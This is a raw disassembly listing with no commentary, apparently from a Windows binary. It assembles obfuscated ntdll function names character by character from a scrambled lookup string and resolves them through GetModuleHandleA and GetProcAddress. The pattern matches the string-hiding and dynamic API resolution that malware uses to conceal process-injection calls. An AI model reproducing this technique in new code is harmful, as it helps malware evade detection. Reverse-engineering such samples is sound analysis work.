lea rax, [rbp + 0x11d0]
lea rdx, [rbp + 0x11f0]
lea r8, [0x0070534a]
mov rcx, rax
call fcn.004b3730
lea rax, [rbp + 0x11b0]
lea rdx, [rbp + 0x11d0]
lea r8, [0x00705358]
mov rcx, rax
call fcn.004b3730
lea rax, [rbp + 0x1190]
lea rdx, [rbp + 0x11b0]
lea r8, [0x0070531c]
mov rcx, rax
call fcn.004b3730
lea rax, [rbp + 0x1170]
lea rdx, [rbp + 0x1190]
lea r8, [0x00705328]
mov rcx, rax
call fcn.004b3730
lea rax, [rbp + 0x1150]
lea rdx, [rbp + 0x1170]
lea r8, [0x0070532e]
mov rcx, rax
call fcn.004b3730
lea rax, [rbp + 0x1130]
lea rdx, [rbp + 0x1150]
lea r8, [0x00705320]
mov rcx, rax
call fcn.004b3730
lea rax, [rbp + 0x1110]
lea rdx, [rbp + 0x1130]
lea r8, str.tAlocaeViruMmyWPCThdExRsFSngObjQIfpGD
mov rcx, rax
call fcn.004b3730
lea rax, [rbp + 0x10f0]
lea rdx, [rbp + 0x1110]
lea r8, [0x00705326]
mov rcx, rax
call fcn.004b3730
lea rax, [rbp + 0x10d0]
lea rdx, [rbp + 0x10f0]
lea r8, [0x0070531c]
mov rcx, rax
call fcn.004b3730
lea rax, [rbp + 0x10b0]
lea rdx, [rbp + 0x10d0]
lea r8, [0x0070534a]
mov rcx, rax
call fcn.004b3730
lea rax, [rbp + 0x1090]
lea rdx, [rbp + 0x10b0]
lea r8, [0x00705334]
mov rcx, rax
call fcn.004b3730
lea rax, [rbp + 0x1070]
lea rdx, [rbp + 0x1090]
lea r8, [0x00705328]
mov rcx, rax
call fcn.004b3730
lea rax, [rbp + 0x1050]
lea rdx, [rbp + 0x1070]
lea r8, [0x0070531c]
mov rcx, rax
call fcn.004b3730
lea rax, [rbp + 0x1030]
lea rdx, [rbp + 0x1050]
lea r8, [0x0070531e]
mov rcx, rax
call fcn.004b3730
lea rax, [rbp + 0x1010]
lea rdx, [rbp + 0x1030]
lea r8, [0x00705322]
mov rcx, rax
call fcn.004b3730
lea rax, [rbp + 0xff0]
lea rdx, [rbp + 0x1010]
lea r8, [0x00705344]
mov rcx, rax
call fcn.004b3730
lea rax, [rbp + 0xfd0]
lea rdx, [rbp + 0xff0]
lea r8, [0x00705344]
mov rcx, rax
call fcn.004b3730
lea rdx, [rbp + 0xfd0]
lea rax, [rbp + 0xf0]
mov rcx, rax
call fcn.004a49f0
lea rax, [rbp + 0xfd0]
mov rcx, rax
call fcn.004a49b0
lea rax, [rbp + 0xff0]
mov rcx, rax
call fcn.004a49b0
lea rax, [rbp + 0x1010]
mov rcx, rax
call fcn.004a49b0
lea rax, [rbp + 0x1030]
mov rcx, rax
call fcn.004a49b0
lea rax, [rbp + 0x1050]
mov rcx, rax
call fcn.004a49b0
lea rax, [rbp + 0x1070]
mov rcx, rax
call fcn.004a49b0
lea rax, [rbp + 0x1090]
mov rcx, rax
call fcn.004a49b0
lea rax, [rbp + 0x10b0]
mov rcx, rax
call fcn.004a49b0
lea rax, [rbp + 0x10d0]
mov rcx, rax
call fcn.004a49b0
lea rax, [rbp + 0x10f0]
mov rcx, rax
call fcn.004a49b0
lea rax, [rbp + 0x1110]
mov rcx, rax
call fcn.004a49b0
lea rax, [rbp + 0x1130]
mov rcx, rax
call fcn.004a49b0
lea rax, [rbp + 0x1150]
mov rcx, rax
call fcn.004a49b0
lea rax, [rbp + 0x1170]
mov rcx, rax
call fcn.004a49b0
lea rax, [rbp + 0x1190]
mov rcx, rax
call fcn.004a49b0
lea rax, [rbp + 0x11b0]
mov rcx, rax
call fcn.004a49b0
lea rax, [rbp + 0x11d0]
mov rcx, rax
call fcn.004a49b0
lea rax, [rbp + 0x11f0]
mov rcx, rax
call fcn.004a49b0
lea rax, [rbp + 0x1210]
mov rcx, rax
call fcn.004a49b0
lea rax, [rbp + 0x1230]
mov rcx, rax
call fcn.004a49b0
lea rax, [rbp + 0x1250]
mov rcx, rax
call fcn.004a49b0
lea rax, [rbp + 0x1270]
mov rcx, rax
call fcn.004a49b0
lea rax, [rbp + 0x1290]
mov rcx, rax
call fcn.004a49b0
lea rax, [rbp + 0x12b0]
mov rcx, rax
call fcn.004a49b0
lea rax, [rbp + 0x12d0]
mov rcx, rax
call fcn.004a49b0
lea rax, [rbp + 0x12ff]
mov rcx, rax
call fcn.0046f1d0
lea rax, [rbp + 0xf0]
mov rcx, rax
call fcn.0042ee90
mov rbx, rax
lea rcx, str.ntdll.dll
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rdx, rbx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [0x00730078], rax
lea rax, [rbp + 0x156f]
mov rcx, rax
call fcn.0046f1a0
lea rdx, [rbp + 0x156f]
lea rax, [rbp + 0x1540]
mov r8, rdx
lea rdx, [0x00705314]
mov rcx, rax
call fcn.004a4620
lea rax, [rbp + 0x1520]
lea rdx, [rbp + 0x1540]
lea r8, str.tAlocaeViruMmyWPCThdExRsFSngObjQIfpGD
mov rcx, rax
call fcn.004b3730
lea rax, [rbp + 0x1500]
lea rdx, [rbp + 0x1520]
lea r8, [0x00705342]
mov rcx, rax
call fcn.004b3730
lea rax, [rbp + 0x14e0]
lea rdx, [rbp + 0x1500]
lea r8, [0x00705322]
mov rcx, rax
call fcn.004b3730
lea rax, [rbp + 0x14c0]
lea rdx, [rbp + 0x14e0]
lea r8, [0x00705320]
mov rcx, rax
call fcn.004b3730
lea rax, [rbp + 0x14a0]
lea rdx, [rbp + 0x14c0]
lea r8, [0x0070533c]
mov rcx, rax
call fcn.004b3730
lea rax, [rbp + 0x1480]
lea rdx, [rbp + 0x14a0]
lea r8, [0x00705324]
mov rcx, rax
call fcn.004b3730
lea rax, [rbp + 0x1460]
lea rdx, [rbp + 0x1480]
lea r8, [0x00705326]
mov rcx, rax
call fcn.004b3730
lea rax, [rbp + 0x1440]
lea rdx, [rbp + 0x1460]
lea r8, [0x00705328]
mov rcx, rax
call fcn.004b3730
lea rax, [rbp + 0x1420]
lea rdx, [rbp + 0x1440]
lea r8, str.tAlocaeViruMmyWPCThdExRsFSngObjQIfpGD
mov rcx, rax
call fcn.004b3730
lea rax, [rbp + 0x1400]
lea rdx, [rbp + 0x1420]
lea r8, [0x0070532a]
mov rcx, rax
call fcn.004b3730
lea rax, [rbp + 0x13e0]
lea rdx, [rbp + 0x1400]
lea r8, [0x00705320]
mov rcx, rax
call fcn.004b3730
lea rax, [rbp + 0x13c0]
lea rdx, [rbp + 0x13e0]
lea r8, [0x0070531a]
mov rcx, rax
call fcn.004b3730
lea rax, [rbp + 0x13a0]
lea rdx, [rbp + 0x13c0]
lea r8, [0x0070532c]
mov rcx, rax
call fcn.004b3730
lea rax, [rbp + 0x1380]
lea rdx, [rbp + 0x13a0]
lea r8, [0x00705322]
mov rcx, rax
call fcn.004b3730
lea rax, [rbp + 0x1360]
lea rdx, [rbp + 0x1380]
lea r8, [0x0070532e]
mov rcx, rax
call fcn.004b3730
lea rax, [rbp + 0x1340]
lea rdx, [rbp + 0x1360]
lea r8, [0x0070531c]
mov rcx, rax
call fcn.004b3730
lea rax, [rbp + 0x1320]
lea rdx, [rbp + 0x1340]
lea r8, [0x00705328]
mov rcx, rax
call fcn.004b3730
lea rax, [rbp + 0x1300]
lea rdx, [rbp + 0x1320]
lea r8, [0x00705330]
mov rcx, rax
call fcn.004b3730
lea rdx, [rbp + 0x1300]
lea rax, [rbp + 0xf0]
mov rcx, rax
call fcn.004a49f0
lea rax, [rbp + 0x1300]
mov rcx, rax
call fcn.004a49b0
lea rax, [rbp + 0x1320]
mov rcx, rax
call fcn.004a49b0
lea rax, [rbp + 0x1340]
mov rcx, rax
call fcn.004a49b0
lea rax, [rbp + 0x1360]
mov rcx, rax
call fcn.004a49b0
lea rax, [rbp + 0x1380]
mov rcx, rax
call fcn.004a49b0
lea rax, [rbp + 0x13a0]
mov rcx, rax
call fcn.004a49b0
lea rax, [rbp + 0x13c0]
mov rcx, rax
call fcn.004a49b0
lea rax, [rbp + 0x13e0]
mov rcx, rax
call fcn.004a49b0
lea rax, [rbp + 0x1400]
mov rcx, rax
call fcn.004a49b0
lea rax, [rbp + 0x1420]
mov rcx, rax
call fcn.004a49b0
lea rax, [rbp + 0x1440]
mov rcx, rax
call fcn.004a49b0
lea rax, [rbp + 0x1460]
mov rcx, rax
call fcn.004a49b0
lea rax, [rbp + 0x1480]
mov rcx, rax
call fcn.004a49b0
lea rax, [rbp + 0x14a0]
mov rcx, rax
call fcn.004a49b0
lea rax, [rbp + 0x14c0]
mov rcx, rax
call fcn.004a49b0
lea rax, [rbp + 0x14e0]
mov rcx, rax
call fcn.004a49b0
lea rax, [rbp + 0x1500]
mov rcx, rax
call fcn.004a49b0
lea rax, [rbp + 0x1520]
mov rcx, rax
call fcn.004a49b0
lea rax, [rbp + 0x1540]
mov rcx, rax
call fcn.004a49b0
lea rax, [rbp + 0x156f]
mov rcx, rax
call fcn.0046f1d0
lea rax, [rbp + 0xf0]
mov rcx, rax
call fcn.0042ee90
mov rbx, rax
lea rcx, str.ntdll.dll
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rdx, rbx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [0x00730080], rax
lea rax, [rbp + 0x165f]
mov rcx, rax
call fcn.0046f1a0
lea rdx, [rbp + 0x165f]
lea rax, [rbp + 0x1630]
mov r8, rdx
lea rdx, [0x00705314]
mov rcx, rax
call fcn.004a4620
lea rax, [rbp + 0x1610]
lea rdx, [rbp + 0x1630]
lea r8, str.tAlocaeViruMmyWPCThdExRsFSngObjQIfpGD
mov rcx, rax
call fcn.004b3730
lea rax, [rbp + 0x15f0]
lea rdx, [rbp + 0x1610]
lea r8, [0x00705336]
mov rcx, rax
call fcn.004b3730
lea rax, [rbp + 0x15d0]
lea rdx, [rbp + 0x15f0]
lea r8, [0x0070531a]
mov rcx, rax
call fcn.004b3730
lea rax, [rbp + 0x15b0]
lea rdx, [rbp + 0x15d0]
lea r8, [0x0070531c]
mov rcx, rax
call fcn.004b3730
lea rax, [rbp + 0x1590]
lea rdx, [rbp + 0x15b0]
lea r8, [0x00705344]
mov rcx, rax
call fcn.004b3730
lea rax, [rbp + 0x1570]
lea rdx, [rbp + 0x1590]
lea r8, [0x00705322]
mov rcx, rax
call fcn.004b3730
lea rdx, [rbp + 0x1570]
lea rax, [rbp + 0xf0]
mov rcx, rax
call fcn.004a49f0
lea rax, [rbp + 0x1570]
mov rcx, rax
call fcn.004a49b0
lea rax, [rbp + 0x1590]
mov rcx, rax
call fcn.004a49b0
lea rax, [rbp + 0x15b0]
mov rcx, rax
call fcn.004a49b0
lea rax, [rbp + 0x15d0]
mov rcx, rax
call fcn.004a49b0
lea rax, [rbp + 0x15f0]
mov rcx, rax
call fcn.004a49b0
lea rax, [rbp + 0x1610]
mov rcx, rax
call fcn.004a49b0
lea rax, [rbp + 0x1630]
mov rcx, rax
call fcn.004a49b0
lea rax, [rbp + 0x165f]
mov rcx, rax
call fcn.0046f1d0
lea rax, [rbp + 0xf0]
mov rcx, rax
call fcn.0042ee90
mov rbx, rax
lea rcx, str.ntdll.dll
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rdx, rbx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [0x00730088], rax
lea rax, [rbp + 0x180f]
mov rcx, rax
call fcn.0046f1a0
lea rdx, [rbp + 0x180f]
lea rax, [rbp + 0x17e0]
mov r8, rdx
lea rdx, [0x00705314]
mov rcx, rax
call fcn.004a4620
lea rax, [rbp + 0x17c0]
lea rdx, [rbp + 0x17e0]
lea r8, str.tAlocaeViruMmyWPCThdExRsFSngObjQIfpGD
mov rcx, rax
call fcn.004b3730
lea rax, [rbp + 0x17a0]
lea rdx, [rbp + 0x17c0]
lea r8, [0x0070534e]
mov rcx, rax
call fcn.004b3730
lea rax, [rbp + 0x1780]
lea rdx, [rbp + 0x17a0]
lea r8, [0x0070535a]
mov rcx, rax
call fcn.004b3730
lea rax, [rbp + 0x1760]
lea rdx, [rbp + 0x1780]
lea r8, [0x00705322]
mov rcx, rax
call fcn.004b3730
lea rax, [rbp + 0x1740]
lea rdx, [rbp + 0x1760]
lea r8, [0x0070534a]
mov rcx, rax
call fcn.004b3730
lea rax, [rbp + 0x1720]
lea rdx, [rbp + 0x1740]
lea r8, [0x00705334]
mov rcx, rax
call fcn.004b3730
lea rax, [rbp + 0x1700]
lea rdx, [rbp + 0x1720]
lea r8, [0x00705328]
mov rcx, rax
call fcn.004b3730
lea rax, [rbp + 0x16e0]
lea rdx, [rbp + 0x1700]
lea r8, [0x0070531c]
mov rcx, rax
call fcn.004b3730
lea rax, [rbp + 0x16c0]
lea rdx, [rbp + 0x16e0]
lea r8, [0x0070531e]
mov rcx, rax
call fcn.004b3730
lea rax, [rbp + 0x16a0]
lea rdx, [rbp + 0x16c0]
lea r8, [0x00705322]
mov rcx, rax
call fcn.004b3730
lea rax, [rbp + 0x1680]
lea rdx, [rbp + 0x16a0]
lea r8, [0x00705344]
mov rcx, rax
call fcn.004b3730
lea rax, [rbp + 0x1660]
lea rdx, [rbp + 0x1680]
lea r8, [0x00705344]
mov rcx, rax
call fcn.004b3730
lea rdx, [rbp + 0x1660]
lea rax, [rbp + 0xf0]
mov rcx, rax
call fcn.004a49f0
lea rax, [rbp + 0x1660]
mov rcx, rax
call fcn.004a49b0
lea rax, [rbp + 0x1680]
mov rcx, rax
call fcn.004a49b0
lea rax, [rbp + 0x16a0]
mov rcx, rax
call fcn.004a49b0
lea rax, [rbp + 0x16c0]
mov rcx, rax
call fcn.004a49b0
lea rax, [rbp + 0x16e0]
mov rcx, rax
call fcn.004a49b0
lea rax, [rbp + 0x1700]
mov rcx, rax
call fcn.004a49b0
lea rax, [rbp + 0x1720]
mov rcx, rax
call fcn.004a49b0
lea rax, [rbp + 0x1740]
mov rcx, rax
call fcn.004a49b0
lea rax, [rbp + 0x1760]
mov rcx, rax
call fcn.004a49b0
lea rax, [rbp + 0x1780]
mov rcx, rax
call fcn.004a49b0
lea rax, [rbp + 0x17a0]
mov rcx, rax
call fcn.004a49b0
lea rax, [rbp + 0x17c0]
mov rcx, rax
call fcn.004a49b0
lea rax, [rbp + 0x17e0]
mov rcx, rax
call fcn.004a49b0
lea rax, [rbp + 0x180f]
mov rcx, rax
call fcn.0046f1d0
lea rax, [rbp + 0xf0]
mov rcx, rax
call fcn.0042ee90
mov rbx, rax
lea rcx, str.ntdll.dll
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rdx, rbx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [0x00730090], rax
lea rax, [rbp + 0x1a1f]
mov rcx, rax
call fcn.0046f1a0
lea rdx, [rbp + 0x1a1f]
lea rax, [rbp + 0x19f0]
mov r8, rdx
lea rdx, [0x00705314]
mov rcx, rax
call fcn.004a4620
lea rax, [rbp + 0x19d0]
lea rdx, [rbp + 0x19f0]
lea r8, str.tAlocaeViruMmyWPCThdExRsFSngObjQIfpGD
mov rcx, rax
call fcn.004b3730
lea rax, [rbp + 0x19b0]
lea rdx, [rbp + 0x19d0]
lea r8, [0x00705354]
mov rcx, rax
call fcn.004b3730
lea rax, [rbp + 0x1990]
lea rdx, [rbp + 0x19b0]
lea r8, [0x0070532a]
mov rcx, rax
call fcn.004b3730
lea rax, [rbp + 0x1970]
lea rdx, [rbp + 0x1990]
lea r8, [0x00705322]
mov rcx, rax
call fcn.004b3730
lea rax, [rbp + 0x1950]
lea rdx, [rbp + 0x1970]
lea r8, [0x0070532a]
mov rcx, rax
call fcn.004b3730
lea rax, [rbp + 0x1930]
lea rdx, [rbp + 0x1950]
lea r8, [0x00705322]
mov rcx, rax
call fcn.004b3730
lea rax, [rbp + 0x1910]
lea rdx, [rbp + 0x1930]
lea r8, [0x00705318]
mov rcx, rax
call fcn.004b3730
lea rax, [rbp + 0x18f0]
lea rdx, [rbp + 0x1910]
lea r8, [0x0070535a]
mov rcx, rax
call fcn.004b3730
lea rax, [rbp + 0x18d0]
lea rdx, [rbp + 0x18f0]
lea r8, [0x0070531e]
mov rcx, rax
call fcn.004b3730
lea rax, [rbp + 0x18b0]
lea rdx, [rbp + 0x18d0]
lea r8, [0x00705338]
mov rcx, rax
call fcn.004b3730
lea rax, [rbp + 0x1890]
lea rdx, [rbp + 0x18b0]
lea r8, [0x0070533a]
mov rcx, rax
call fcn.004b3730
lea rax, [rbp + 0x1870]
lea rdx, [rbp + 0x1890]
lea r8, [0x00705328]
mov rcx, rax
call fcn.004b3730
lea rax, [rbp + 0x1850]
lea rdx, [rbp + 0x1870]
lea r8, [0x00705322]
mov rcx, rax
call fcn.004b3730
lea rax, [rbp + 0x1830]
lea rdx, [rbp + 0x1850]
lea r8, [0x00705320]
mov rcx, rax
call fcn.004b3730
lea rax, [rbp + 0x1810]
lea rdx, [rbp + 0x1830]
lea r8, [0x0070533c]
mov rcx, rax
call fcn.004b3730
lea rdx, [rbp + 0x1810]
lea rax, [rbp + 0xf0]
mov rcx, rax
call fcn.004a49f0
lea rax, [rbp + 0x1810]
mov rcx, rax
call fcn.004a49b0
lea rax, [rbp + 0x1830]
mov rcx, rax
call fcn.004a49b0
lea rax, [rbp + 0x1850]
mov rcx, rax
call fcn.004a49b0
lea rax, [rbp + 0x1870]
mov rcx, rax
call fcn.004a49b0
lea rax, [rbp + 0x1890]
mov rcx, rax
call fcn.004a49b0
lea rax, [rbp + 0x18b0]
mov rcx, rax
call fcn.004a49b0
lea rax, [rbp + 0x18d0]
mov rcx, rax
call fcn.004a49b0
lea rax, [rbp + 0x18f0]
mov rcx, rax
call fcn.004a49b0
lea rax, [rbp + 0x1910]
mov rcx, rax
call fcn.004a49b0
lea rax, [rbp + 0x1930]
mov rcx, rax
call fcn.004a49b0
lea rax, [rbp + 0x1950]
mov rcx, rax
call fcn.004a49b0
lea rax, [rbp + 0x1970]
mov rcx, rax
call fcn.004a49b0
lea rax, [rbp + 0x1990]
mov rcx, rax
call fcn.004a49b0
lea rax, [rbp + 0x19b0]
mov rcx, rax
call fcn.004a49b0
lea rax, [rbp + 0x19d0]
mov rcx, rax
call fcn.004a49b0
lea rax, [rbp + 0x19f0]
mov rcx, rax
call fcn.004a49b0
lea rax, [rbp + 0x1a1f]
mov rcx, rax
call fcn.0046f1d0
lea rax, [rbp + 0xf0]
mov rcx, rax
call fcn.0042ee90
mov rbx, rax
lea rcx, str.ntdll.dll
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rdx, rbx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [0x00730098], rax
lea rax, [rbp + 0x1c8f]
mov rcx, rax
call fcn.0046f1a0
lea rdx, [rbp + 0x1c8f]
lea rax, [rbp + 0x1c60]
mov r8, rdx
lea rdx, [0x00705314]
mov rcx, rax
call fcn.004a4620
lea rax, [rbp + 0x1c40]
lea rdx, [rbp + 0x1c60]
lea r8, str.tAlocaeViruMmyWPCThdExRsFSngObjQIfpGD
mov rcx, rax
call fcn.004b3730
lea rax, [rbp + 0x1c20]
lea rdx, [rbp + 0x1c40]
lea r8, [0x00705318]
mov rcx, rax
call fcn.004b3730
lea rax, [rbp + 0x1c00]
lea rdx, [rbp + 0x1c20]
lea r8, [0x0070531a]
mov rcx, rax
call fcn.004b3730
lea rax, [rbp + 0x1be0]
lea rdx, [rbp + 0x1c00]
lea r8, [0x00705322]
mov rcx, rax
call fcn.004b3730
lea rax, [rbp + 0x1bc0]
lea rdx, [rbp + 0x1be0]
lea r8, [0x00705328]
mov rcx, rax
call fcn.004b3730
lea rax, [rbp + 0x1ba0]
lea rdx, [rbp + 0x1bc0]
lea r8, str.tAlocaeViruMmyWPCThdExRsFSngObjQIfpGD
mov rcx, rax
call fcn.004b3730
lea rax, [rbp + 0x1b80]
lea rdx, [rbp + 0x1ba0]
lea r8, [0x00705342]
mov rcx, rax
call fcn.004b3730
lea rax, [rbp + 0x1b60]
lea rdx, [rbp + 0x1b80]
lea r8, [0x00705322]
mov rcx, rax
call fcn.004b3730
lea rax, [rbp + 0x1b40]
lea rdx, [rbp + 0x1b60]
lea r8, [0x00705344]
mov rcx, rax
call fcn.004b3730
lea rax, [rbp + 0x1b20]
lea rdx, [rbp + 0x1b40]
lea r8, [0x0070532a]
mov rcx, rax
call fcn.004b3730
lea rax, [rbp + 0x1b00]
lea rdx, [rbp + 0x1b20]
lea r8, [0x0070532e]
mov rcx, rax
call fcn.004b3730
lea rax, [rbp + 0x1ae0]
lea rdx, [rbp + 0x1b00]
lea r8, [0x00705322]
mov rcx, rax
call fcn.004b3730
lea rax, [rbp + 0x1ac0]
lea rdx, [rbp + 0x1ae0]
lea r8, [0x00705338]
mov rcx, rax
call fcn.004b3730
lea rax, [rbp + 0x1aa0]
lea rdx, [rbp + 0x1ac0]
lea r8, [0x0070533a]
mov rcx, rax
call fcn.004b3730
lea rax, [rbp + 0x1a80]
lea rdx, [rbp + 0x1aa0]
lea r8, [0x00705328]
mov rcx, rax
call fcn.004b3730
lea rax, [rbp + 0x1a60]
lea rdx, [rbp + 0x1a80]
lea r8, [0x00705322]
mov rcx, rax
call fcn.004b3730
lea rax, [rbp + 0x1a40]
lea rdx, [rbp + 0x1a60]
lea r8, [0x00705320]
mov rcx, rax
call fcn.004b3730
lea rax, [rbp + 0x1a20]
lea rdx, [rbp + 0x1a40]
lea r8, [0x0070533c]
mov rcx, rax
call fcn.004b3730
lea rdx, [rbp + 0x1a20]
lea rax, [rbp + 0xf0]
mov rcx, rax
call fcn.004a49f0
lea rax, [rbp + 0x1a20]
mov rcx, rax
call fcn.004a49b0
lea rax, [rbp + 0x1a40]
mov rcx, rax
call fcn.004a49b0
lea rax, [rbp + 0x1a60]
mov rcx, rax
call fcn.004a49b0
lea rax, [rbp + 0x1a80]
mov rcx, rax
call fcn.004a49b0
lea rax, [rbp + 0x1aa0]
mov rcx, rax
call fcn.004a49b0
lea rax, [rbp + 0x1ac0]
mov rcx, rax
call fcn.004a49b0
lea rax, [rbp + 0x1ae0]
mov rcx, rax
call fcn.004a49b0
lea rax, [rbp + 0x1b00]
mov rcx, rax
call fcn.004a49b0
lea rax, [rbp + 0x1b20]
mov rcx, rax
call fcn.004a49b0
lea rax, [rbp + 0x1b40]
mov rcx, rax
call fcn.004a49b0
lea rax, [rbp + 0x1b60]
mov rcx, rax
call fcn.004a49b0
lea rax, [rbp + 0x1b80]
mov rcx, rax
call fcn.004a49b0
lea rax, [rbp + 0x1ba0]
mov rcx, rax
call fcn.004a49b0
lea rax, [rbp + 0x1bc0]
mov rcx, rax
call fcn.004a49b0
lea rax, [rbp + 0x1be0]
mov rcx, rax
call fcn.004a49b0
lea rax, [rbp + 0x1c00]
mov rcx, rax
call fcn.004a49b0
lea rax, [rbp + 0x1c20]
mov rcx, rax
call fcn.004a49b0
lea rax, [rbp + 0x1c40]
mov rcx, rax
call fcn.004a49b0
lea rax, [rbp + 0x1c60]
mov rcx, rax
call fcn.004a49b0
lea rax, [rbp + 0x1c8f]
mov rcx, rax
call fcn.0046f1d0
lea rax, [rbp + 0xf0]
mov rcx, rax
call fcn.0042ee90
mov rbx, rax
lea rcx, str.ntdll.dll
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rdx, rbx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [0x007300a0], rax
lea rax, [rbp + 0x1edf]
mov rcx, rax
call fcn.0046f1a0
lea rdx, [rbp + 0x1edf]
lea rax, [rbp + 0x1eb0]
mov r8, rdx
lea rdx, [0x00705314]
mov rcx, rax
call fcn.004a4620
lea rax, [rbp + 0x1e90]
lea rdx, [rbp + 0x1eb0]
lea r8, str.tAlocaeViruMmyWPCThdExRsFSngObjQIfpGD
mov rcx, rax
call fcn.004b3730
lea rax, [rbp + 0x1e70]
lea rdx, [rbp + 0x1e90]
lea r8, [0x0070535c]
mov rcx, rax
call fcn.004b3730
lea rax, [rbp + 0x1e50]
lea rdx, [rbp + 0x1e70]
lea r8, [0x00705322]
mov rcx, rax
call fcn.004b3730
lea rax, [rbp + 0x1e30]
lea rdx, [rbp + 0x1e50]
lea r8, str.tAlocaeViruMmyWPCThdExRsFSngObjQIfpGD
mov rcx, rax
call fcn.004b3730
lea rax, [rbp + 0x1e10]
lea rdx, [rbp + 0x1e30]
lea r8, [0x00705336]
mov rcx, rax
call fcn.004b3730
lea rax, [rbp + 0x1df0]
lea rdx, [rbp + 0x1e10]
lea r8, [0x0070531c]
mov rcx, rax
call fcn.004b3730
lea rax, [rbp + 0x1dd0]
lea rdx, [rbp + 0x1df0]
lea r8, [0x0070534a]
mov rcx, rax
call fcn.004b3730
lea rax, [rbp + 0x1db0]
lea rdx, [rbp + 0x1dd0]
lea r8, str.tAlocaeViruMmyWPCThdExRsFSngObjQIfpGD
mov rcx, rax
call fcn.004b3730
lea rax, [rbp + 0x1d90]
lea rdx, [rbp + 0x1db0]
lea r8, [0x00705322]
mov rcx, rax
call fcn.004b3730
lea rax, [rbp + 0x1d70]
lea rdx, [rbp + 0x1d90]
lea r8, [0x00705340]
mov rcx, rax
call fcn.004b3730
lea rax, [rbp + 0x1d50]
lea rdx, [rbp + 0x1d70]
lea r8, str.tAlocaeViruMmyWPCThdExRsFSngObjQIfpGD
mov rcx, rax
call fcn.004b3730
lea rax, [rbp + 0x1d30]
lea rdx, [rbp + 0x1d50]
lea r8, [0x00705338]
mov rcx, rax
call fcn.004b3730
lea rax, [rbp + 0x1d10]
lea rdx, [rbp + 0x1d30]
lea r8, [0x0070533a]
mov rcx, rax
call fcn.004b3730
lea rax, [rbp + 0x1cf0]
lea rdx, [rbp + 0x1d10]
lea r8, [0x00705328]
mov rcx, rax
call fcn.004b3730
lea rax, [rbp + 0x1cd0]
lea rdx, [rbp + 0x1cf0]
lea r8, [0x00705322]
mov rcx, rax
call fcn.004b3730
lea rax, [rbp + 0x1cb0]
lea rdx, [rbp + 0x1cd0]
lea r8, [0x00705320]
mov rcx, rax
call fcn.004b3730
lea rax, [rbp + 0x1c90]
lea rdx, [rbp + 0x1cb0]
lea r8, [0x0070533c]
mov rcx, rax
call fcn.004b3730
lea rdx, [rbp + 0x1c90]
lea rax, [rbp + 0xf0]
mov rcx, rax
call fcn.004a49f0
lea rax, [rbp + 0x1c90]
mov rcx, rax
call fcn.004a49b0
lea rax, [rbp + 0x1cb0]
mov rcx, rax
call fcn.004a49b0
lea rax, [rbp + 0x1cd0]
mov rcx, rax
call fcn.004a49b0
lea rax, [rbp + 0x1cf0]
mov rcx, rax
call fcn.004a49b0
lea rax, [rbp + 0x1d10]
mov rcx, rax
call fcn.004a49b0
lea rax, [rbp + 0x1d30]
mov rcx, rax
call fcn.004a49b0
lea rax, [rbp + 0x1d50]
mov rcx, rax
call fcn.004a49b0
lea rax, [rbp + 0x1d70]
mov rcx, rax
call fcn.004a49b0
lea rax, [rbp + 0x1d90]
mov rcx, rax
call fcn.004a49b0
lea rax, [rbp + 0x1db0]
mov rcx, rax
call fcn.004a49b0
lea rax, [rbp + 0x1dd0]
mov rcx, rax
call fcn.004a49b0
lea rax, [rbp + 0x1df0]
mov rcx, rax
call fcn.004a49b0
lea rax, [rbp + 0x1e10]
mov rcx, rax
call fcn.004a49b0
lea rax, [rbp + 0x1e30]
mov rcx, rax
call fcn.004a49b0
lea rax, [rbp + 0x1e50]
mov rcx, rax
call fcn.004a49b0
lea rax, [rbp + 0x1e70]
mov rcx, rax
call fcn.004a49b0
lea rax, [rbp + 0x1e90]
mov rcx, rax
call fcn.004a49b0
lea rax, [rbp + 0x1eb0]
mov rcx, rax
call fcn.004a49b0
lea rax, [rbp + 0x1edf]
mov rcx, rax
call fcn.0046f1d0
lea rax, [rbp + 0xf0]
mov rcx, rax
call fcn.0042ee90
mov rbx, rax
lea rcx, str.ntdll.dll
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rdx, rbx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [0x007300a8], rax
lea rax, [rbp + 0x212f]
mov rcx, rax
call fcn.0046f1a0
lea rdx, [rbp + 0x212f]
lea rax, [rbp + 0x2100]
mov r8, rdx
lea rdx, [0x00705314]
mov rcx, rax
call fcn.004a4620
lea rax, [rbp + 0x20e0]
lea rdx, [rbp + 0x2100]
lea r8, str.tAlocaeViruMmyWPCThdExRsFSngObjQIfpGD
mov rcx, rax
call fcn.004b3730
lea rax, [rbp + 0x20c0]
lea rdx, [rbp + 0x20e0]
lea r8, [0x00705348]
mov rcx, rax
call fcn.004b3730
lea rax, [rbp + 0x20a0]
lea rdx, [rbp + 0x20c0]
lea r8, [0x00705322]
mov rcx, rax
call fcn.004b3730
lea rax, [rbp + 0x2080]
lea rdx, [rbp + 0x20a0]
lea r8, str.tAlocaeViruMmyWPCThdExRsFSngObjQIfpGD
mov rcx, rax
call fcn.004b3730
lea rax, [rbp + 0x2060]
lea rdx, [rbp + 0x2080]
lea r8, [0x00705336]
mov rcx, rax
call fcn.004b3730
lea rax, [rbp + 0x2040]
lea rdx, [rbp + 0x2060]
lea r8, [0x0070531c]
mov rcx, rax
call fcn.004b3730
lea rax, [rbp + 0x2020]
lea rdx, [rbp + 0x2040]
lea r8, [0x0070534a]
mov rcx, rax
call fcn.004b3730
